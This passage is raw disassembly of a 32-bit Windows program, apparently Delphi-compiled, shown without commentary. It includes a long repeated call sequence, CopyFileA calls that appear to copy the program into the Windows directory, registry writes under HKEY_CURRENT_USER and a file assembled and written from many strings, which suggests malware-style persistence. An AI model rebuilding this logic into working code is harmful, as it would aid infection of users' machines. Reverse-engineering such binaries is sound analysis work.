call fcn.1314e92c
mov eax, 0x13157994
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579a0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579e8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a04
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a24
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a4c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a64
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a74
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a84
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a94
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157aa8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ab4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ac0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ad0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ae0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157aec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157af8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b08
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b18
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b38
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b44
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b54
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b5c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b94
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ba4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bb4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bc4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bd0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157be0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bf8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c04
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c10
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c1c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c24
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c30
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c5c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c8c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c9c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cbc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ccc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cdc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cf8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d08
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d1c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d2c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d3c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d48
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d58
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d64
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d78
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157da4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157db0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157dc4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ddc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157df0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157dfc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e0c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e18
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e24
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e30
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e3c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e4c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e54
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e78
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e84
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e90
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e9c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ea8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157eb8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ec8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ed4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ee0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157eec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157efc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f08
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f20
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f2c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f38
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f4c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f58
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f68
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f84
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f8c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fa4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fb4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fc4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fcc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fd8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fe0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ff8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158004
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158010
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315801c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158024
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158030
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315803c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315804c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158058
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158068
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315807c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158098
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158108
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158114
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158120
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315812c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158138
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158140
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158148
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158150
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315815c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158168
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158178
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158188
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158194
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581a0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581c8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158204
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158214
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158220
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158230
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315823c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158248
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158254
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158264
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158274
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158284
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158290
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315829c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582c4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158300
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315830c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158318
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158324
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158330
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315833c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158348
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158358
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158370
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315837c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158388
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158394
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583a4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583e8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583f8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158404
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158418
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158428
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158438
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158448
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158454
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315845c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315846c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158478
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158484
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158490
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156dcc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315850c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158518
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158524
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158534
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158540
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315854c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315855c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315856c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158578
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158588
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158598
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157be0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131585a4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131585b0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131585b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131585c4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13152b5f
call fcn.1314e92c
call fcn.1314e92c
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
mov eax, dword [0x1315befc]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13152be1
push 0x131585d8
lea edx, [ebp - 0x158]
mov eax, 0x131585e4
call fcn.1314c4a8
mov edx, dword [ebp - 0x158]
mov ecx, 0x13158630
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315beb8]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13152d96
mov eax, dword [0x1315bed8]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13152c9c
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13152c88
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x15c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
mov eax, dword [ebp - 0x15c]
call fcn.1314c964
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13152c92
call fcn.1314e92c
jmp 0x13152d91
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13152d7d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x160]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
mov eax, dword [ebp - 0x160]
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x13158648
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x13158654
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x13158660
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x1315866c
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x13158678
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x13158684
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x13158690
call fcn.1314d5e4
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13152d87
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
lea eax, [ebp - 0x16c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
push dword [ebp - 0x16c]
push dword [0x1315be6c]
push 0x13156b00
push dword [0x1315be70]
push 0x13156b10
lea eax, [ebp - 0x168]
mov edx, 5
call fcn.131447ac
mov eax, dword [ebp - 0x168]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x164]
call fcn.13144648
mov eax, dword [ebp - 0x164]
call fcn.1314be30
test al, al
je 0x13152e10
jmp 0x1315461b
mov edx, dword [0x1315be78]
mov eax, 0x1315869c
call fcn.131449d4
test eax, eax
jle 0x13152e44
mov eax, dword [0x1315be78]
call fcn.131446ec
mov edx, eax
mov eax, 0x1315be78
mov ecx, 1
call fcn.1314498c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315be78]
mov eax, 0x131586a8
call fcn.131449d4
test eax, eax
jle 0x13153238
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
push 0
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
lea eax, [ebp - 0x170]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x170]
call fcn.131448ec
push eax
lea edx, [ebp - 0x17c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x17c]
lea eax, [ebp - 0x178]
mov edx, 0x131586b8
call fcn.13144738
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.1314c4a8
mov eax, dword [ebp - 0x174]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x180]
push eax
lea edx, [ebp - 0x184]
mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x184]
mov ecx, dword [0x1315be74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315bedc]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13153233
push 0
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x188]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x188]
call fcn.131448ec
push eax
lea edx, [ebp - 0x194]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x194]
lea eax, [ebp - 0x190]
mov edx, 0x13158728
call fcn.13144738
mov eax, dword [ebp - 0x190]
lea edx, [ebp - 0x18c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x18c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13153070
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x198]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x198]
mov edx, 0x1315be60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x19c]
mov eax, dword [0x1315be60]
call fcn.1314ba54
mov edx, dword [ebp - 0x19c]
mov eax, 0x1315be58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315307a
call fcn.1314e92c
push 0x13158748
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x131587b8
push 0x131587cc
push 0x131587d8
push dword [0x1315be58]
push 0x131587ec
push 0x131587cc
push 0x131587f8
push 0x131587cc
push 0x1315882c
push 0x131587cc
push 0x13158870
push 0x131587cc
push 0x13158880
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x131588ac
push 0x131587cc
push 0x131588c0
push 0x131587cc
push 0x131588e0
push 0x131587cc
push 0x131588f8
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158928
push 0x131587cc
push 0x1315893c
push 0x131587cc
push 0x1315894c
push 0x131587cc
push 0x13158968
push 0x131587cc
mov eax, 0x1315be5c
mov edx, 0x26
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x1a0]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1a0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x1a4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1a4]
push eax
lea edx, [ebp - 0x1a8]
mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x1a8]
mov ecx, dword [0x1315be78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315be78]
mov eax, 0x13158988
call fcn.131449d4
test eax, eax
jle 0x1315362c
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
push 0
push dword [0x1315be00]
push 0x1315899c
push dword [0x1315be74]
lea eax, [ebp - 0x1ac]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1ac]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1b8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1b8]
lea eax, [ebp - 0x1b4]
mov edx, 0x131586b8
call fcn.13144738
mov eax, dword [ebp - 0x1b4]
lea edx, [ebp - 0x1b0]
call fcn.1314c4a8
mov eax, dword [ebp - 0x1b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push dword [0x1315be00]
push 0x1315899c
push dword [0x1315be74]
lea eax, [ebp - 0x1bc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1bc]
push eax
lea edx, [ebp - 0x1c0]
